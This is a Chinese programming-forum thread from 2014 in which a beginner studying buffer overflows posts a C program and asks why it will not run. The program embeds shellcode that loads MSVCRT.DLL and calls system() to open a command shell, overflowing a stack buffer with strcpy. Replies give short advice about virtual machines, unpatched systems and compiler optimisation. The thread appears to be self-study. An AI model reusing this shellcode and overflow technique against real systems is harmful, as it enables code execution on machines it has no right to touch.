日期:2014-05-17  浏览次数:21030 次

请大神帮我看看,小弟我刚学缓冲区溢出,遇上难题了
我想向前跳转实现我的溢出代码,于是我写了以下程序,但是为什么运行不了,要运行应该怎么修改:
#include "stdio.h"
#include "string.h"
char name[] = 
"\x90\x90\x90\x90"  
"\x90\x90\x90\x90"  
"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53" //16
"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6" //21
"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA" //12
"\x77\x1d\x80\x7c" //4
"\x52\x8D\x45\xF4\x50\xFF\x55\xF0" //8
"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E" //19
"\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4" //19
"\x50\xB8" //2
"\xc7\x93\xbf\x77" //4
"\xFF\xD0" //2
"\x83\xC4\x12\x5D"//4
"\x90"//1
"\x90\x90\x90\x90"//ebp
"\xcd\x54\xfa\x7f"
"\xEB\x80";//向前跳转


int main()
{
char output[120];
int i;
strcpy(output, name);
return 0;
}

------解决方案--------------------
你应该在虚拟机里面运行,还要安装以前没有打补丁的操作系统!

------解决方案--------------------
帮你顶一下吧,缓冲区溢出中,要仔细的去构造地址,不然不会成功的,另外一般这种程序的可移植性不是很好啊!!
------解决方案--------------------
或许编译器优化过了
------解决方案--------------------
我期待你的问题解决